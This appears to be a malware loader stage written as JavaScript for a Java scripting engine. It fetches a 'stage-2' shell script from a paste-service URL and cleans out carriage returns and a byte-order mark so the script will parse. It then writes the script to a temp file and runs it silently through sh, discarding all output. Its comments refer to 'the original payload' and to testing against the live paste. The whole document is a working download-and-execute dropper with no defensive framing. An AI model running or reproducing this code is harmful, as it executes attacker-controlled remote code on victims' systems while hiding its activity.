var url = "https://gistpad.com/raw/fsdfsdfsd"; var is = new java.net.URL(url).openStream(); var ba = new java.io.ByteArrayOutputStream(); var buf = java.lang.reflect.Array.newInstance(java.lang.Byte.TYPE, 8192); var n = 0; while ((n = is.read(buf)) > 0) { ba.write(buf, 0, n); } is.close(); var script = new java.lang.String(ba.toByteArray(), "UTF-8"); // Strip CRs. The stage-2 is served by a web paste service, and a CRLF // upload makes every line end in \r — which is a SHELL SYNTAX ERROR // ("elif unexpected"), because `then\r` is not a valid terminator. The // original payload guarded against exactly this with `tr -d '\r'`; the // Java fetch has to do the same thing itself. // Measured on the live paste: 116 CR bytes, and without this line the // script dies with "sh: 8: Syntax error: elif unexpected". script = script.replace(/\r/g, ""); // a UTF-8 BOM would be the same problem in a different costume script = script.replace(/^\uFEFF/, ""); var f = java.io.File.createTempFile("flk", ".sh"); var w = new java.io.FileWriter(f); w.write(script); w.close(); var pb = new java.lang.ProcessBuilder(); pb.command().add("sh"); pb.command().add("-s"); pb.command().add("--"); pb.command().add("ALNK"); pb.redirectInput(new java.io.File(f.getAbsolutePath())); pb.redirectOutput(new java.io.File("/dev/null")); pb.redirectErrorStream(true); pb.start();